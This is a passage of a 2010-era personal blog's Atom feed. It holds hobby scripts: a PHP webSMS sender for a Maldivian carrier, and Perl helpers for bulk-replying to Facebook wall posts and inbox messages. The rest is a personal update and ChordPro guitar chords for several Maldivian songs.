if(preg_match('/send (.*?) more/',$return,$msg_count)) {&lt;br /&gt;			if(($SessionData['count']=$msg_count[1])&amp;lt;1){ 				trigger_error('You have Reached your Daily Quota',E_USER_ERROR); 				 			} else { 				sendsms(); 			} 		}  		return true; 	} else { 		trigger_error('Invalid Username andor Password',E_USER_ERROR); 		return false; 	} } function sendsms() { 	global $SessionData; 	$number=$_GET['num']; 	$message=$_GET['msg']; 	if(strlen($message) &amp;gt; 140) {&lt;br /&gt;		trigger_error('Message Truncated',E_USER_WARNING);&lt;br /&gt;		$message=substr($message,0,140);&lt;br /&gt;	}&lt;br /&gt;&lt;br /&gt;        $return=make_curl_request('http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl',&lt;br /&gt;				'mobilenumber='.urlencode($number).'&amp;amp;message='.urlencode($message),TRUE);&lt;br /&gt;&lt;br /&gt;	//VALIDATE THE RETURN STUFF&lt;br /&gt;	if(preg_match('/send (.*?) more/',$return,$msg_count)) {&lt;br /&gt;		$SessionData['count']=$msg_count[1];&lt;br /&gt;	} else {&lt;br /&gt;		if(($SessionData['retries']++)&amp;gt;3){&lt;br /&gt;			trigger_error('maximum number of retries exceeded',E_USER_ERROR);&lt;br /&gt;		}&lt;br /&gt;		login();&lt;br /&gt;	}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (isset($_GET['user']) &amp;amp;&amp;amp; isset($_GET['pass']) &amp;amp;&amp;amp; isset($_GET['msg']) &amp;amp;&amp;amp; isset($_GET['num'])) {&lt;br /&gt;	if(preg_match("/^7[4-9][0-9]{5}$/",$_GET['num'],$number)){&lt;br /&gt;		$_GET['num']=$number[0];&lt;br /&gt;	} else {&lt;br /&gt;		trigger_error('Invalid Number Format',E_USER_ERROR);&lt;br /&gt;	}&lt;br /&gt;} else {&lt;br /&gt;	trigger_error('Insufficiant Arguments',E_USER_ERROR);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(isset($_GET['cookie'])){&lt;br /&gt;	$SessionData['cookie']=$_GET['cookie'];&lt;br /&gt;	sendsms();&lt;br /&gt;} else {&lt;br /&gt;	login();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;terminate_now();&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7046907881311928188?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7046907881311928188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/06/dhiraagu-websms-conduit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7046907881311928188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7046907881311928188'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/06/dhiraagu-websms-conduit.html' title='Dhiraagu webSMS Conduit'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5302991740738006452</id><published>2010-06-12T16:05:00.014+08:00</published><updated>2010-07-26T13:58:26.750+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fbcmd'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><title type='text'>Bulk responding to facebook wallposts</title><content type='html'>So it happens that my birthday is coming up, and like last year there's bound to be a shitload of posts on my Facebook wall...and like last time I'm probably expected to respond to said posts otherwise I'd be "rude".&lt;br /&gt;&lt;br /&gt;Here's the dilema though, I can't be bothered to spend all the time going through the wall, clicking on links..responding blah blah. What I'd like to do, is respond to all of them in bulk. So here's my solution...&lt;br /&gt;&lt;br /&gt;1.download all wallposts to a csv file&lt;br /&gt;2.edit said csv file and add responses to those posts that i want to respond to&lt;br /&gt;3.send off said responses.&lt;br /&gt;&lt;br /&gt;How-to after the jump &lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Prerequisites&lt;/b&gt;&lt;/span&gt; get &lt;a href="http://fbcmd.dtompkins.com/"&gt;&lt;b&gt;FBCMD&lt;/b&gt;&lt;/a&gt; and set it up. Grant it stream_read and stream_publish permissions.&lt;br /&gt;&lt;br /&gt;Save this perl script somewhere and name it..err..say..respond.pl&lt;br /&gt;&lt;br /&gt;while you're at it, install the perl CSV parser library (from CPAN or you can do a "sudo apt-get install libtext-csv-perl")&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: pl"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use Text::CSV;&lt;br /&gt;my $csv = Text::CSV_XS-&amp;gt;new();&lt;br /&gt;open(CSV, $ARGV[0]) or die "open: $ARGV[0]: $!\n";&lt;br /&gt;my $pid,$text;&lt;br /&gt;while (defined ($_ = &amp;lt;csv&amp;gt;)) {&lt;br /&gt;s/, /,/;&lt;br /&gt;$csv-&amp;gt;parse($_) or warn("invalid CSV line: ", $csv-&amp;gt;error_input(), "\n"), next;&lt;br /&gt;my @fields = $csv-&amp;gt;fields();&lt;br /&gt;&lt;br /&gt;if($fields[3]) {&lt;br /&gt;system("fbcmd","comment",$fields[0],$fields[3])&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close(CSV) or die"close: $ARGV[0]: $!\n"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Step One.&lt;/b&gt;&lt;/span&gt;  grab the wallposts - run this.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;fbcmd mywall 100 -csv -sbr=0 -hdr=0 | sed 's/\[//;s/\]//' | tee stream.csv &lt;/blockquote&gt;&lt;br /&gt;NOTE: change the 100 to whatever you like if you want more posts to display&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Step Two. &lt;/b&gt;&lt;/span&gt;open the file up in Open Office Spreadsheet or something and add your responses to a new column.&lt;br /&gt;&lt;br /&gt;eg: the original file&lt;br /&gt;&lt;blockquote&gt;1,"joe dirt","lets eat some dirt"&lt;br /&gt;4,"ugly joe","man you're ugly"&lt;/blockquote&gt;after the edit&lt;br /&gt;&lt;blockquote&gt;1,"joe dirt","lets eat some dirt","no wai man"&lt;br /&gt;4,"ugly joe","man you're ugly","goddamnit man!"&lt;/blockquote&gt;&lt;br /&gt;now save it...make sure you keep the file format.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Step Three.&lt;/b&gt;&lt;/span&gt; run the perl script on it!&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;perl respnd.pl stream.csv&lt;/blockquote&gt;&lt;br /&gt;and voila! semi automatic hassle free responding to facebook birthday wishes|greetings on facebook using command line bash perl fbcmd blah blah... (yes that was for the search engines)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5302991740738006452?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5302991740738006452/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/06/bulk-responding-to-facebook-wallposts.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5302991740738006452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5302991740738006452'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/06/bulk-responding-to-facebook-wallposts.html' title='Bulk responding to facebook wallposts'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7279448420993489493</id><published>2010-05-10T00:47:00.005+08:00</published><updated>2010-07-16T21:48:24.930+08:00</updated><title type='text'>If I'm going down...</title><content type='html'>I ain't dead yet folks. Not that I think anybody cares much. The last few months have been a bad time for me, as I've been trying to get my life back in order and sort out my priorities... mostly I've been trying to get off my ass.&lt;br /&gt;&lt;br /&gt;and It's working... as you can &lt;a href="http://www.flickr.com/photos/kudanai/4589695034/"&gt;see&lt;/a&gt; (yes I know this is a little vain, but I'm rather proud of my achievement)&lt;br /&gt;&lt;br /&gt;&lt;a id="single_image" href="http://www.testdrivec21.com/insurance/images/layoutimage.jpg"&gt;&lt;img src="http://www.indianapolismartialartsclub.com/diet%20comic2.gif" alt="arrghh...fancybox is not workeh"/&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7279448420993489493?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7279448420993489493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/05/if-im-going-down.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7279448420993489493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7279448420993489493'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/05/if-im-going-down.html' title='If I&apos;m going down...'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5337764037874560168</id><published>2009-12-03T01:27:00.005+08:00</published><updated>2010-07-18T03:33:29.914+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords - Hithaamain Roala Roalaa [Lemon Band]</title><content type='html'>at least I think it's them. Certainly sounds like them. In either case it's a great composition. Try singing it to your long lost love and see if she comes running.&lt;br /&gt;&lt;br /&gt;you can find &lt;a href="http://www.dhimp3.com/?searchword=hithaamain&amp;amp;searchphrase=all&amp;amp;limit=&amp;amp;ordering=category&amp;amp;view=search&amp;amp;Itemid=99999999&amp;amp;option=com_search"&gt;the song&lt;/a&gt; on &lt;a href="http://www.dhimp3.com/"&gt;dhimp3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;in chordpro format again :) some of you hate it I know, but like I said &lt;a href="http://kudanai.blogspot.com/2009/10/guitar-chords-yaaraa-hinithun-veema.html"&gt;before&lt;/a&gt;, you could always go to &lt;a href="http://webchord.sourceforge.net/"&gt;webchord&lt;/a&gt; and get a more readable output.&lt;br /&gt;&lt;br /&gt;enjoy. &lt;a href="http://kudanai.blogspot.com/search/label/music"&gt;&lt;big&gt;&lt;b&gt;MORE CHORDS&lt;/b&gt;&lt;/big&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre class="brush:ch"&gt;{t:Hithaamain Roala Roalaa}&lt;br /&gt;{st:Lemon Band?}&lt;br /&gt;#compiled by KudaNai - http://kudanai.blogspot.com&lt;br /&gt;#no copyrights claimed&lt;br /&gt;&lt;br /&gt;{c:opening chord strum open CaddG}&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;{soc}&lt;br /&gt;hit[C]haamain roal[Am]a roala,karuna oh[F]oran&lt;br /&gt;bika haalug[G]aa jehumun, nuv[C]isneythee kal[Am]aa yah&lt;br /&gt;bunedheyshe ham[F]ajehumei mihit[G]hah&lt;br /&gt;nethee keevvek[C]an&lt;br /&gt;{eoc}&lt;br /&gt;&lt;br /&gt;{c:picking}&lt;br /&gt;{sot}&lt;br /&gt;C        Am        F         G&lt;br /&gt;e |-----8--------8--------8----------8------8|&lt;br /&gt;b |--8----8---6----8---5----5---5h6----6----8|&lt;br /&gt;g |----5----5---5----5---5----5-----5----5--5|&lt;br /&gt;d |------------------------------------------|&lt;br /&gt;a |------------------------------------------|&lt;br /&gt;E |------------------------------------------|&lt;br /&gt;{eot}&lt;br /&gt;&lt;br /&gt;r[C]oe faa buneemey dhen nudh[Am]aashey&lt;br /&gt;ma[F]a gaai vevijje kan vee goth[G]un&lt;br /&gt;a[C]adheys kureemey dhen ruh[Am]ey tho&lt;br /&gt;m[F]aalas vi kamugaa bunelum[G]un&lt;br /&gt;&lt;br /&gt;ehanas hith[C]un, keikoh hur[Am]un noon gothei&lt;br /&gt;anek[F]unna? adhu baakeee vum[G]un&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;&lt;br /&gt;h[C]ithakah libey hama ufalak[Am]ee hey?&lt;br /&gt;k[F]ushakaa nulaa fahe dhera dhin[G]un? hmmm..&lt;br /&gt;n[C]oonee sikundiyah buravane[Am]e hey?&lt;br /&gt;i[F]nsaafuverikoh visnaalum[G]un&lt;br /&gt;&lt;br /&gt;namaves fah[C]un, annaane kam[Am]ugaa heekuran&lt;br /&gt;haasil nuv[F]eema loaibeh mi dh[G]uniyeyn&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;&lt;br /&gt;u[C]mmurah hithaamaigaa ul[Am]hen hey?&lt;br /&gt;e[F]dhenee thibaa hama abadhah mih[G]en? bunedhee dhulun,&lt;br /&gt;h[G]aasil nuvaahindhu ufalei mid[Am]huniyeyn,&lt;br /&gt;b[F]arudhaasthu kuramun dhaa mi v[G]eynun?&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;{c:during this chorus, the chords are a full step up}&lt;br /&gt;{c:i.e, D, Bm, G, A}&lt;br /&gt;&lt;br /&gt;bunedheyshe hamajehumei mi-hithah, nethee keevve kan...&lt;br /&gt;bunedheyshe hamajehumei mi-hitha, nethee keevve kan...&lt;br /&gt;.....&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5337764037874560168?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5337764037874560168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/12/guitar-chords-hithaamain-roala-roalaa.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5337764037874560168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5337764037874560168'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/12/guitar-chords-hithaamain-roala-roalaa.html' title='Guitar Chords - Hithaamain Roala Roalaa [Lemon Band]'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6921161304950481719</id><published>2009-11-24T08:17:00.007+08:00</published><updated>2010-07-21T04:21:47.219+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords - Ilaahi mi bin (Unoosha's version)</title><content type='html'>Hey peeps.&lt;br /&gt;&lt;br /&gt;This is one of my all time (and your) favourite classic of classics transcribed for the acoustic guitar. I'm sure no self respecting Maldivian needs a second introduction to this song (if you do, ask your mom). Note that this is based on Unoosha's rendition of the song and not the original. If you see this Kiddy, you did a great job.&lt;br /&gt;&lt;br /&gt;You can find her version on her facebook fan-page &lt;span style="font-size:large;"&gt;&lt;a href="http://www.facebook.com/unoosha?v=info"&gt;&lt;b&gt;HERE&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;.&lt;br /&gt;the original should be somewhere on youtube.&lt;br /&gt;&lt;br /&gt;btw, if anybody is wondering if this is an "original maldivian" song, it's not.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=NvjORuq8U8Y" class="youtube"&gt;Hindi Song&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ideally played on two guitars.&lt;br /&gt;&lt;br /&gt;oh and before you go and steal my work and claim all the credit...fuck you... you guys suck. You know who you are. The rest of you, enjoy these guitar chords of ilaahi mi bin (ilahi mi bin,ilaahee mi bin etc...) (sorry..google search ;))&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://kudanai.blogspot.com/search/label/music"&gt;Check out the rest of my chords and stuff.&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:ch"&gt;{t:Ilaahee Mi-bin}&lt;br /&gt;{st:Unoosha's version}&lt;br /&gt;#compiled by KudaNai http://kudanai.blogspot.com&lt;br /&gt;#No copyright claim&lt;br /&gt;&lt;br /&gt;{c:A slow arpeggio picking works nicely with this. &lt;br /&gt;It's meant to be a slow song, so don't rush it.}&lt;br /&gt; &lt;br /&gt;{c:intro}&lt;br /&gt;{sot}&lt;br /&gt;A       D            A        D&lt;br /&gt;e |------------12-----|-12-14 16-17-14-12-|&lt;br /&gt;b |----12-14 15-------|-------------------|&lt;br /&gt;g |-14----------------|-------------------|&lt;br /&gt;d |-------------------|-------------------|&lt;br /&gt;a |-------------------|-------------------|&lt;br /&gt;E |-------------------|-------------------|&lt;br /&gt; &lt;br /&gt;A         D         Bm        E&lt;br /&gt;e |-12-14-16-17-14-12-|-------------------|&lt;br /&gt;b |-------------------|---14-14-15-12-12--|&lt;br /&gt;g |-------------------|-------------------|&lt;br /&gt;d |-------------------|-------------------|&lt;br /&gt;a |-------------------|-------------------|&lt;br /&gt;E |-------------------|-------------------|&lt;br /&gt; {eot}&lt;br /&gt; &lt;br /&gt;{soc}&lt;br /&gt;[A]ilaahee mi bin,kur[D]avaandhey am[A]aan&lt;br /&gt;mi-al[D]haage uf[A]an dhiveh[Bm]een ge mi b[E]in&lt;br /&gt;thib[A]aa hazrathun, oh[Bm]ey madhadhun&lt;br /&gt;fil[A]aa numedhaa, dhiveh[E]eenge mi b[A]in&lt;br /&gt;{eoc}&lt;br /&gt; &lt;br /&gt;{c:interlude}&lt;br /&gt;{sot}&lt;br /&gt; &lt;br /&gt;A          Bm        C#m      E     A&lt;br /&gt;e |-0--------|-2--------|-4--------|-7------5--|&lt;br /&gt;b |----2-----|---3------|----5-----|----9---5--|&lt;br /&gt;g |-------2--|------4---|-------6--|--------6--|&lt;br /&gt;d |-2--------|-4--------|-6--------|-9------9--|&lt;br /&gt;a |----------|----------|----------|--------9--|&lt;br /&gt;E |----------|----------|----------|--------5--|&lt;br /&gt; {eoc}&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;mith[D]aange vayaa, mith[A]aange fenaa&lt;br /&gt;mith[D]aange kandaa, ek[A]anduge oyaa&lt;br /&gt;gath[D]aa uthares, mi r[A]ukuge fanaa&lt;br /&gt;mith[D]aa mi alh[E]aa ge g[A]ulhifaivaa&lt;br /&gt; &lt;br /&gt;gudhur[A]athuge il[Bm]aahee n[E]iumathuga&lt;br /&gt;ab[E]dhuge abadh[D]ah dhirem[A]un dhiremun&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;{c:chorus}&lt;br /&gt;{c:interlude}&lt;br /&gt; &lt;br /&gt;mig[D]aumuge kaa'baf[A]ainge leyaa&lt;br /&gt;ek[D]ashithah ekuve d[A]hiya veyya&lt;br /&gt;miy[D]avvure vaki az[A]eezu thanei&lt;br /&gt;nuv[D]aa mi alh[E]aa uf[A]an vi hiyaa&lt;br /&gt; &lt;br /&gt;thiya math[A]iveri r[Bm]ahumathug[E]aa lavva&lt;br /&gt;barak[E]aathuge v[D]aarey vi[A]ssavamun&lt;br /&gt; &lt;br /&gt;{c:chorus}&lt;br /&gt; &lt;br /&gt;{sot}&lt;br /&gt;e |-----------5-7-9-10-12-14-16-17--|&lt;br /&gt;b |---------5-----------------------|&lt;br /&gt;g |-------6-------------------------|&lt;br /&gt;d |-----7---------------------------|&lt;br /&gt;a |---7-----------------------------|&lt;br /&gt;E |-5-------------------------------|&lt;br /&gt;{eot}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6921161304950481719?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6921161304950481719/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/11/guitar-chords-ilaahi-mi-bin-unooshas.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6921161304950481719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6921161304950481719'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/11/guitar-chords-ilaahi-mi-bin-unooshas.html' title='Guitar Chords - Ilaahi mi bin (Unoosha&apos;s version)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4364476379783981952</id><published>2009-11-18T16:56:00.004+08:00</published><updated>2010-07-18T04:23:46.728+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fbcmd'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Replying to Facebook mail on command line</title><content type='html'>this is a little helper script that I wrote to use in conjunction with &lt;a href="http://fbcmd.dtompkins.com/"&gt;FBCMD&lt;/a&gt; to reply to inbox messages directly on the command line without going to the website.&lt;br /&gt;&lt;br /&gt;It takes two args, the message number (as given out by fbcmd inbox) and the message itself. pretty straightforward. Just throwing it out there.&lt;br /&gt;&lt;br /&gt;it's meant to be used with fbcmd, but if you like you can provide a thread_id to it as well (slight mod might be needed)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;use WWW::Mechanize;&lt;br /&gt;use HTTP::Cookies;&lt;br /&gt;&lt;br /&gt;my $username = 'youremail';&lt;br /&gt;my $password = 'yourpass';&lt;br /&gt;my $maildata = "/home/youruser/.fbcmd/maildata.txt";&lt;br /&gt;&lt;br /&gt;my $msgid=`php -r \"\\\$ld=unserialize(file_get_contents('$maildata'));print \\\$ld['ids'][$ARGV[0]];\"`;&lt;br /&gt;&lt;br /&gt;my $mech = WWW::Mechanize-&amp;gt;new();&lt;br /&gt;$mech-&amp;gt;cookie_jar(HTTP::Cookies-&amp;gt;new());&lt;br /&gt;&lt;br /&gt;$mech-&amp;gt;get("http://lite.facebook.com/login/");&lt;br /&gt;$mech-&amp;gt;submit_form(form_number =&amp;gt; 1,fields =&amp;gt;{email=&amp;gt;$username,password=&amp;gt;$password});&lt;br /&gt;&lt;br /&gt;$mech-&amp;gt;content() =~ /\/w\/(\w+)\/logout/;&lt;br /&gt;$mech-&amp;gt;post("http://lite.facebook.com/w/".$1."/inbox/reply/".$msgid."/",{message=&amp;gt;$ARGV[1],__async__=&amp;gt;'true'});&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4364476379783981952?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4364476379783981952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/11/replying-to-facebook-mail-on-command.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4364476379783981952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4364476379783981952'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/11/replying-to-facebook-mail-on-command.html' title='Replying to Facebook mail on command line'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6723992340318526171</id><published>2009-10-04T14:15:00.004+08:00</published><updated>2010-07-18T04:24:15.403+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords - Yaaraa Hinithun Veema</title><content type='html'>Hey peeps... been a while. Just throwing something out there real quick. This is another timeless classic from...errr... I'm not sure who the original artist is for this one. If anybody knows throw me a bone in the comments.&lt;br /&gt;&lt;br /&gt;I've decided to use the ChordPro format to upload chords from now on for convenience sake.you can find out more about the format &lt;b&gt;&lt;a href="http://www.vromans.org/johan/projects/Chordii/chordpro/index.html"&gt;HERE.&lt;/a&gt;&lt;/b&gt; You can use the CHORD program to prettify the layout if you like. OR visit &lt;a href="http://webchord.sourceforge.net/"&gt;http://webchord.sourceforge.net/&lt;/a&gt; and paste it in the provided text field to get a prettified output on the fly.&lt;br /&gt;&lt;br /&gt;check out my other uploads &lt;a href="http://kudanai.blogspot.com/search/label/music"&gt;http://kudanai.blogspot.com/search/label/music&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush:ch"&gt;{title:Yaaraa Hinithun Veema}&lt;br /&gt;{st:artist - unknown}&lt;br /&gt;#chorded by KudaNai&lt;br /&gt;#http://kudanai.blogspot.com&lt;br /&gt;#thanks hassaan&lt;br /&gt;#no copy rights claimed&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;&lt;br /&gt;{soc}&lt;br /&gt;[G]yaaraa hinithun v[D]eema,hurev[C]eyne hey mih[G]en&lt;br /&gt;[G]yaaraa beynun v[D]eema,dhuruv[C]aane hey ma [G]dhen&lt;br /&gt;[Am]veemaa naah[D]aashey keevve [G]hey,adhi&lt;br /&gt;[Am]noonee nubun[D]aashey noonek[G]ey&lt;br /&gt;{eoc}&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;&lt;br /&gt;[Am]maamaluge meeru [G]vas thakun, [C]maazee handhaan va[G]nee&lt;br /&gt;[Am]loabee ge inthi[G]zaaruga,[C]mi hihiyaalu aavanee&lt;br /&gt;[Am]naahaashey [G]keevvehey,nubu[Am]naashey [G]noonekey&lt;br /&gt;[Am]hiy-ves dhineem[D]ey&lt;br /&gt;&lt;br /&gt;{c:chorus x 2}&lt;br /&gt;&lt;br /&gt;[Am]kairin kalaa bal[G]aalumun,[C]neyngeyhe veego[G]thei&lt;br /&gt;[Am]sirrei bunan handh[G]aanvefa,dh[C]oo bandhuvee mag[G]ey&lt;br /&gt;[Am]naahaashey [G]keevvehey,nubu[Am]naashey [G]noonekey&lt;br /&gt;[Am]hiy-ves dhineem[D]ey&lt;br /&gt;&lt;br /&gt;{c:chorus}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6723992340318526171?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6723992340318526171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/10/guitar-chords-yaaraa-hinithun-veema.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6723992340318526171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6723992340318526171'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/10/guitar-chords-yaaraa-hinithun-veema.html' title='Guitar Chords - Yaaraa Hinithun Veema'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 